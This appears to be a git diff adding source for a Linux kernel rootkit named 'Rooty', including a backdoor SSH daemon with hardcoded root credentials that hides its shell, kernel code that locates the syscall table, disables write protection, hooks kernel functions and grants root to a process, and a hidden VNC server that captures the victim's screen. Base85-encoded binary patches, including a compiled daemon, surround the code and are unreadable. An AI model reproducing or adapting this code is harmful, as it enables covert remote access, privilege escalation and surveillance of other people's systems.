zuj5ryil`MWQxP|Oh+f20ksA7yov3wphQ5o5E8kC4i%+WQ{jlb!i~;ZqL0pgfoaED3 zSs0IIA`x@Ff;w6lwG!vY`qeNCEb8IMr}kOJOZWvCEzs zBtC+f#JFBa@S8lw^3P`*Tm{O7Fe+UhO`ZVR$N!?h#$s6e!16@3{^S%s7eW2bUUH`0 z#qq^13w^LdH2R3D1rT<7HzC>`>p=bBJ{y&|W}AX3i+UQXaOowSq;UMUg;8-rU&$9! zN#J8i)`sDX@t*t%U|nr<>Ma=)g%J_tSl2NC%{psGa9M^Abr~d&Wum-?XRhZwU8fC^ z4h^#EUqY62`_L>9c)a4ch+o5#QE$=H;~f_D+@vjXwK5*6G=&jcAMo1J;cCrIOCB`X z&s){u;aTuDLRBLZ=1|ImzUg6dYtY|k=in2*WcQ4G;F5P}8X@Dd4&9I|A}6GUD+asx zsX>mU>=}cNIfBwNJRK^$-T$z>QWA#_;}ScWi^*!KUn6ohd_Z2<2(SBz)^jbKhuvB! z4DiFSs4N{#hG@6!=IWP$E3<2U={^CM7I5Z@j>6`p9^%lH4T9t-z<_zsa@3r=XMiT+0CpYnOQ5wz^X;L!xl>`9uUv>i{@lVK3>PlaJ&Xt^$fH0)aH zW(Z2@obxjCZW|fsiyee+tr7?K<5+cQHMD!)xnPD_*;F`>xUJzZ1JPqYsK(_?Q9wx_ zq+Auhgs<1ER)vW9s&oC>@PBJgMN>AbgwU)Kr?y|DI- zWh}U4Kw-Csv+n3awaV^M`63HeT&45`JG+*L1xI_DAo51Ikaw%N|hFdI!=0 z4CSzJbj+eb_$}RrI;WrtxKRXXQjf8;#Spt~F?H#AyDH-Y)7eRYu!}t?Gjn!#g-{N6 zETQPQ=6qnPd>M9S?V+SxjDo-(PG3;uYBJ|?gSYr-_ZAU=svu|cls+jqjF{CUXNkS7 z8y09r<0Oqlc@1x2PxrtSSLIjA$cJiVk}*v@JU!li)QW|mEp)Hk8It*udXYD`)fbJG z%AnozlNBX7I&Cc)?gL=d&(|qj+&kbo z*mm(!7rq-g7kJJnekECW`hp$izo2~`x*6P0@v=2N;s~-ezOtfpz7ZvO4vEBawM}P} zzw$vEP+rxAN*esh4Wp!{a5+V0sWfYb$;S{n_VS8c(*tyn1RfMj#+9=OR_~-kkp-g6~s(gkU&*w^prlV zSq$+Ct+4zXs#Kd0$D}`Xkf~eh5~p=@&{!R6Z~&WdZk(E;muSHf!Hd+_k~xs04j}c# z5IKgU_TR}D^#}diU0v(~Fl3z<0bXa(B6MSD2Nnj%2QY=d{o8 z0P#{HXx6llbN9URyPLc^M$?R*0Sq6O?iDEBU0vE*2!>k8)N0$J;k=MCUOuHW#OY(z zysd<*+jyBAu5GQx%9T8|fl1`h)>JbORhL$>?Ln@fp%j6_?=I$j@9t;0Og3Ts7hD_v AdH?_b literal 0 HcmV?d00001 diff --git a/Linux/Rootkits/Rooty/sshd/sshd.c b/Linux/Rootkits/Rooty/sshd/sshd.c new file mode 100644 index 0000000..c0d3555 --- /dev/null +++ b/Linux/Rootkits/Rooty/sshd/sshd.c @@ -0,0 +1,369 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define SSHD_USER "root" +#define SSHD_PASSWORD "test" +#define KEYS_FOLDER "/etc/ssh/" +#define AUTH_TOKEN 0xDEADC0DE + + +struct rooty_proc_args +{ + unsigned short pid; +}; + +struct rooty_args +{ + unsigned short cmd; + void *ptr; +}; + +static int port = 22; + +static int auth_password(const char *user, const char *password) +{ + if(strcmp(user, SSHD_USER)) + return 0; + if(strcmp(password, SSHD_PASSWORD)) + return 0; + return 1; +} + +static int authenticate(ssh_session session) +{ + ssh_message message; + + do + { + message=ssh_message_get(session); + if(!message) + break; + switch(ssh_message_type(message)) + { + case SSH_REQUEST_AUTH: + switch(ssh_message_subtype(message)) + { + case SSH_AUTH_METHOD_PASSWORD: + printf("User %s wants to auth with pass %s\n", + ssh_message_auth_user(message), + ssh_message_auth_password(message)); + if(auth_password(ssh_message_auth_user(message), + ssh_message_auth_password(message))) + { + ssh_message_auth_reply_success(message,0); + ssh_message_free(message); + return 1; + } + ssh_message_auth_set_methods(message, + SSH_AUTH_METHOD_PASSWORD | + SSH_AUTH_METHOD_INTERACTIVE); + + ssh_message_reply_default(message); + break; + + case SSH_AUTH_METHOD_NONE: + default: + printf("User %s wants to auth with unknown auth %d\n", + ssh_message_auth_user(message), + ssh_message_subtype(message)); + ssh_message_auth_set_methods(message, + SSH_AUTH_METHOD_PASSWORD | + SSH_AUTH_METHOD_INTERACTIVE); + ssh_message_reply_default(message); + break; + } + break; + default: + ssh_message_auth_set_methods(message, + SSH_AUTH_METHOD_PASSWORD | + SSH_AUTH_METHOD_INTERACTIVE); + ssh_message_reply_default(message); + } + ssh_message_free(message); + } + while (1); + return 0; +} + +static int copy_fd_to_chan(socket_t fd, int revents, void *userdata) +{ + ssh_channel chan = (ssh_channel)userdata; + char buf[2048]; + int sz = 0; + + if(!chan) + { + close(fd); + return -1; + } + if(revents & POLLIN) + { + sz = read(fd, buf, 2048); + if(sz > 0) + { + ssh_channel_write(chan, buf, sz); + } + } + if(revents & POLLHUP) + { + ssh_channel_close(chan); + sz = -1; + } + return sz; +} + +static int copy_chan_to_fd(ssh_session session, + ssh_channel channel, + void *data, + uint32_t len, + int is_stderr, + void *userdata) +{ + int fd = *(int*)userdata; + int sz; + (void)session; + (void)channel; + (void)is_stderr; + + sz = write(fd, data, len); + return sz; +} + +static void chan_close(ssh_session session, ssh_channel channel, void *userdata) +{ + int fd = *(int*)userdata; + (void)session; + (void)channel; + + close(fd); +} + +struct ssh_channel_callbacks_struct cb = +{ + .channel_data_function = copy_chan_to_fd, + .channel_eof_function = chan_close, + .channel_close_function = chan_close, + .userdata = NULL +}; + +static int main_loop(ssh_channel chan) +{ + ssh_session session = ssh_channel_get_session(chan); + socket_t fd; + struct termios *term = NULL; + struct winsize *win = NULL; + pid_t childpid; + ssh_event event; + short events; + int rc; + + struct rooty_args rooty_args; + struct rooty_proc_args rooty_proc_args; + int sockfd; + int io; + + childpid = forkpty(&fd, NULL, term, win); + if(childpid == 0) + { + execl("/bin/bash", "/bin/bash", (char *)NULL); + abort(); + } + + sockfd = socket(AF_INET, SOCK_STREAM, 6); + rooty_proc_args.pid = childpid; + rooty_args.cmd = 1; + rooty_args.ptr = &rooty_proc_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + + cb.userdata = &fd; + ssh_callbacks_init(&cb); + ssh_set_channel_callbacks(chan, &cb); + + events = POLLIN | POLLPRI | POLLERR | POLLHUP | POLLNVAL; + + event = ssh_event_new(); + if(event == NULL) + { + printf("Couldn't get a event\n"); + return -1; + } + if(ssh_event_add_fd(event, fd, events, copy_fd_to_chan, chan) != SSH_OK) + { + printf("Couldn't add an fd to the event\n"); + ssh_event_free(event); + return -1; + } + if(ssh_event_add_session(event, session) != SSH_OK) + { + printf("Couldn't add the session to the event\n"); + ssh_event_remove_fd(event, fd); + ssh_event_free(event); + return -1; + } + + do + { + rc = ssh_event_dopoll(event, 1000); + if (rc == SSH_ERROR) + { + fprintf(stderr, "Error : %s\n", ssh_get_error(session)); + ssh_event_free(event); + ssh_disconnect(session); + return -1; + } + } + while(!ssh_channel_is_closed(chan)); + + ssh_event_remove_fd(event, fd); + + ssh_event_remove_session(event, session); + + ssh_event_free(event); + return 0; +} + + +int main(int argc, char **argv) +{ + ssh_session session; + ssh_bind sshbind; + ssh_message message; + ssh_channel chan=0; + int auth=0; + int shell=0; + int r; + + sshbind=ssh_bind_new(); + session=ssh_new(); + + ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_DSAKEY, + KEYS_FOLDER "id_dsa"); + ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_RSAKEY, + KEYS_FOLDER "id_rsa"); + + + (void) argc; + (void) argv; + + + if(ssh_bind_listen(sshbind)<0) + { + printf("Error listening to socket: %s\n", ssh_get_error(sshbind)); + return 1; + } + printf("Started sshd on port %d\n", port); + printf("You can login as the user %s with the password %s\n", SSHD_USER, + SSHD_PASSWORD); + r = ssh_bind_accept(sshbind, session); + if(r==SSH_ERROR) + { + printf("Error accepting a connection: %s\n", ssh_get_error(sshbind)); + return 1; + } + if (ssh_handle_key_exchange(session)) + { + printf("ssh_handle_key_exchange: %s\n", ssh_get_error(session)); + return 1; + } + + auth = authenticate(session); + if(!auth) + { + printf("Authentication error: %s\n", ssh_get_error(session)); + ssh_disconnect(session); + return 1; + } + + do + { + message = ssh_message_get(session); + if(message) + { + if(ssh_message_type(message) == SSH_REQUEST_CHANNEL_OPEN && + ssh_message_subtype(message) == SSH_CHANNEL_SESSION) + { + chan = ssh_message_channel_request_open_reply_accept(message); + ssh_message_free(message); + break; + } + else + { + ssh_message_reply_default(message); + ssh_message_free(message); + } + } + else + { + break; + } + } + while(!chan); + + if(!chan) + { + printf("Error: cleint did not ask for a channel session (%s)\n", + ssh_get_error(session)); + ssh_finalize(); + return 1; + } + + + do + { + message = ssh_message_get(session); + if(message != NULL) + { + if(ssh_message_type(message) == SSH_REQUEST_CHANNEL) + { + if(ssh_message_subtype(message) == SSH_CHANNEL_REQUEST_SHELL) + { + shell = 1; + ssh_message_channel_request_reply_success(message); + ssh_message_free(message); + break; + } + else if(ssh_message_subtype(message) == SSH_CHANNEL_REQUEST_PTY) + { + ssh_message_channel_request_reply_success(message); + ssh_message_free(message); + continue; + } + } + ssh_message_reply_default(message); + ssh_message_free(message); + } + else + { + break; + } + } + while(!shell); + + if(!shell) + { + printf("Error: No shell requested (%s)\n", ssh_get_error(session)); + return 1; + } + + printf("it works !\n"); + + main_loop(chan); + + ssh_disconnect(session); + ssh_bind_free(sshbind); + + ssh_finalize(); + return 0; +} diff --git a/Linux/Rootkits/Rooty/syscall_table.h b/Linux/Rootkits/Rooty/syscall_table.h new file mode 100644 index 0000000..b2ae20b --- /dev/null +++ b/Linux/Rootkits/Rooty/syscall_table.h @@ -0,0 +1,200 @@ +#define HIJACK_SIZE 6 + +#define DEBUG_HOOK(fmt, ...) + +LIST_HEAD(hooked_syms); + +struct sym_hook +{ + void *addr; + unsigned char o_code[HIJACK_SIZE]; + unsigned char n_code[HIJACK_SIZE]; + struct list_head list; +}; + +struct ksym +{ + char *name; + unsigned long addr; +}; + +struct +{ + unsigned short limit; + unsigned long base; +} __attribute__ ((packed))idtr; + +struct +{ + unsigned short off1; + unsigned short sel; + unsigned char none, flags; + unsigned short off2; +} __attribute__ ((packed))idt; + +asmlinkage ssize_t (*o_write)(int fd, const char __user *buff, ssize_t count); +asmlinkage ssize_t (*o_socketcall)(int call, unsigned long __user *args); +asmlinkage ssize_t (*o_sys_recvmsg)(int fd, struct msghdr __user *msg, unsigned flags); + +void hijack_start(void *target, void *new); +void hijack_pause(void *target); +void hijack_resume(void *target); +void hijack_stop(void *target); + +void *memmem ( const void *, size_t, const void *, size_t ); + + +unsigned long *syscall_table; + +unsigned long *find_sys_call_table ( void ) +{ + char **p; + unsigned long sct_off = 0; + unsigned char code[255]; + + asm("sidt %0":"=m" (idtr)); + memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt)); + sct_off = (idt.off2 << 16) | idt.off1; + memcpy(code, (void *)sct_off, sizeof(code)); + + p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3); + + if ( p ) + return *(unsigned long **)((char *)p + 3); + else + return NULL; +} + +inline void** get_syscall_table_addr(void) +{ + if(syscall_table == NULL) + syscall_table = (unsigned long*)find_sys_call_table(); + return (void**)syscall_table; +} + +inline unsigned long disable_wp ( void ) +{ + unsigned long cr0; + + preempt_disable(); + barrier(); + + cr0 = read_cr0(); + write_cr0(cr0 & ~X86_CR0_WP); + return cr0; +} + +inline void restore_wp ( unsigned long cr0 ) +{ + write_cr0(cr0); + + barrier(); + preempt_enable(); +} + + +void hijack_start ( void *target, void *new ) +{ + struct sym_hook *sa; + unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE]; + + + unsigned long o_cr0; + + memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE); + *(unsigned long *)&n_code[1] = (unsigned long)new; + + memcpy(o_code, target, HIJACK_SIZE); + + o_cr0 = disable_wp(); + memcpy(target, n_code, HIJACK_SIZE); + restore_wp(o_cr0); + + sa = kmalloc(sizeof(*sa), GFP_KERNEL); + if ( ! sa ) + return; + + sa->addr = target; + memcpy(sa->o_code, o_code, HIJACK_SIZE); + memcpy(sa->n_code, n_code, HIJACK_SIZE); + + list_add(&sa->list, &hooked_syms); +} + +void hijack_pause ( void *target ) +{ + struct sym_hook *sa; + + list_for_each_entry ( sa, &hooked_syms, list ) + if ( target == sa->addr ) + { + unsigned long o_cr0 = disable_wp(); + memcpy(target, sa->o_code, HIJACK_SIZE); + restore_wp(o_cr0); + } +} + +void hijack_resume ( void *target ) +{ + struct sym_hook *sa; + + list_for_each_entry ( sa, &hooked_syms, list ) + if ( target == sa->addr ) + { + unsigned long o_cr0 = disable_wp(); + memcpy(target, sa->n_code, HIJACK_SIZE); + restore_wp(o_cr0); + } +} + +void hijack_stop ( void *target ) +{ + struct sym_hook *sa; + + list_for_each_entry ( sa, &hooked_syms, list ) + if ( target == sa->addr ) + { + unsigned long o_cr0 = disable_wp(); + memcpy(target, sa->o_code, HIJACK_SIZE); + restore_wp(o_cr0); + + list_del(&sa->list); + kfree(sa); + break; + } +} + +void *memmem ( const void *haystack, size_t haystack_size, const void *needle, size_t needle_size ) +{ + char *p; + + for ( p = (char *)haystack; p <= ((char *)haystack - needle_size + haystack_size); p++ ) + if ( memcmp(p, needle, needle_size) == 0 ) + return (void *)p; + + return NULL; +} + +void root_me(void) +{ + struct cred * new_cred = prepare_creds(); + + if(current->cred->uid==0) + { + return; + } + new_cred = prepare_creds(); + if (!new_cred) + { + return; + } + // change uid, gid to root id + new_cred->uid = 0; + new_cred->gid = 0; + new_cred->euid = 0; + new_cred->egid = 0; + new_cred->fsuid = 0; + new_cred->fsgid = 0; + + commit_creds(new_cred); +} diff --git a/Linux/Rootkits/Rooty/vnc.h b/Linux/Rootkits/Rooty/vnc.h new file mode 100644 index 0000000..8665a6c --- /dev/null +++ b/Linux/Rootkits/Rooty/vnc.h @@ -0,0 +1,60 @@ +struct n_subprocess_info *vnc_sub_info; + +pid_t vnc_pid; +int isVNCDrunning = 0; + +char *vnc_argv[] = { "/sbin/vncd", NULL, NULL }; +static char *vnc_envp[] = +{ + "HOME=/", + "TERM=xterm", + "LOGNAME=jermey", + "USERNAME=jermey", + "USER=jermey", + "PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin", NULL +}; + +int init_vnc(void) +{ + int ret; + printk("rooty: Starting VNCD server\n"); + vnc_sub_info = n_call_usermodehelper_setup( vnc_argv[0], vnc_argv, vnc_envp, GFP_ATOMIC ); + if (vnc_sub_info == NULL) return -ENOMEM; + + ret = n_call_usermodehelper( "/sbin/vncd", vnc_argv, vnc_envp, UMH_WAIT_EXEC ); + if (ret != 0) + { + printk("rooty: error in call to vncd: %i\n", ret); + return 1; + } + else + { + printk("rooty: vncd pid %d\n", callmodule_pid); + vnc_pid = callmodule_pid; + hide_proc(vnc_pid); + isVNCDrunning = 1; + } + return 0; +} + +void stop_vnc(void) +{ + if(isVNCDrunning) + { + struct siginfo info; + struct task_struct *t; + printk("rooty: Stopping VNCD server\n"); + memset(&info, 0, sizeof(struct siginfo)); + info.si_signo = 42; //33 Kernel base + SIGTERM(9) + info.si_code = SI_QUEUE; + info.si_int = 1234; + + rcu_read_lock(); + t = pid_task(find_vpid(vnc_pid), PIDTYPE_PID); + rcu_read_unlock(); + if( t != NULL) + send_sig_info(42, &info, t); + + unhide_proc(vnc_pid); + } +} diff --git a/Linux/Rootkits/Rooty/vncd/Makefile b/Linux/Rootkits/Rooty/vncd/Makefile new file mode 100644 index 0000000..73a93dc --- /dev/null +++ b/Linux/Rootkits/Rooty/vncd/Makefile @@ -0,0 +1,7 @@ + + +all: + gcc -o vncd vnc-server.c -Wl,-Bstatic -lvncserver -Wl,-Bdynamic -ljpeg -lz -lpthread -lX11 + +clean: + rm vncd diff --git a/Linux/Rootkits/Rooty/vncd/vnc-server.c b/Linux/Rootkits/Rooty/vncd/vnc-server.c new file mode 100644 index 0000000..a423a90 --- /dev/null +++ b/Linux/Rootkits/Rooty/vncd/vnc-server.c @@ -0,0 +1,116 @@ +#include +#include +#include +#include +#include +#include +#include + +#define AUTH_TOKEN 0xDEADC0DE +#define PICTURE_TIMEOUT (1.0/1.0) + +#define BPP 4 + +char *contents; +int x,y; + +int width; +int height; + +XImage *image; +Display *display; +Window root; + +struct rooty_proc_args +{ + unsigned short pid; +}; + +struct rooty_args +{ + unsigned short cmd; + void *ptr; +}; + +int timer() +{ + static struct timeval now= {0,0}, then= {0,0}; + double elapsed, dnow, dthen; + gettimeofday(&now,NULL); + dnow = now.tv_sec + (now.tv_usec /1000000.0); + dthen = then.tv_sec + (then.tv_usec/1000000.0); + elapsed = dnow - dthen; + if (elapsed > PICTURE_TIMEOUT) + memcpy((char *)&then, (char *)&now, sizeof(struct timeval)); + return elapsed > PICTURE_TIMEOUT; +} + +int refresh(void) +{ + display = XOpenDisplay(":0.0"); + root = DefaultRootWindow(display); + image = XGetImage(display,root, 0,0 , width,height,AllPlanes, ZPixmap); + for (x = 0; x < width; x++) + for (y = 0; y < height ; y++) + { + unsigned long pixel = XGetPixel(image,x,y); + + unsigned char blue = (unsigned char)pixel; + unsigned char green = (unsigned char)((pixel)>>8); + unsigned char red = (unsigned char)(pixel >> 16); + + contents[(x + width * y) * 4] = red; + contents[(x + width * y) * 4+1] = green; + contents[(x + width * y) * 4+2] = blue; + } + return 1; +} + +int main(int argc,char** argv) +{ + struct rooty_args rooty_args; + struct rooty_proc_args rooty_proc_args; + int sockfd; + int io; + + sockfd = socket(AF_INET, SOCK_STREAM, 6); + rooty_proc_args.pid = getpid(); + rooty_args.cmd = 1; + rooty_args.ptr = &rooty_proc_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + + long usec; + printf("Process PID: %d\n",getpid()); + printf("Opening display :0... "); + display = XOpenDisplay(":0.0"); + printf("Display :0 opened\n"); + root = DefaultRootWindow(display); + printf("Got rootWindow!\n"); + XWindowAttributes gwa; + + XGetWindowAttributes(display, root, &gwa); + width = gwa.width; + height = gwa.height; + + printf("Screen parameters:\n\tWidth: %d\n\tHeight: %d\n",width,height); + + contents = (char*)malloc(width*height*BPP); + + rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,width,height,8,3,BPP); + + server->frameBuffer=contents; + server->alwaysShared=(1==1); + + rfbInitServer(server); + while (rfbIsActive(server)) + { + if (timer()) + if (refresh()) + rfbMarkRectAsModified(server,0,0,width,height); + + usec = server->deferUpdateTime*1000; + rfbProcessEvents(server,usec); + } + return 0; +} diff --git a/Linux/Rootkits/Rooty/vncd/vncd b/Linux/Rootkits/Rooty/vncd/vncd new file mode 100644 index 0000000000000000000000000000000000000000..c1885e42c150c1a52107f0cc13559a1e86409cd9 GIT binary patch literal 790984 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 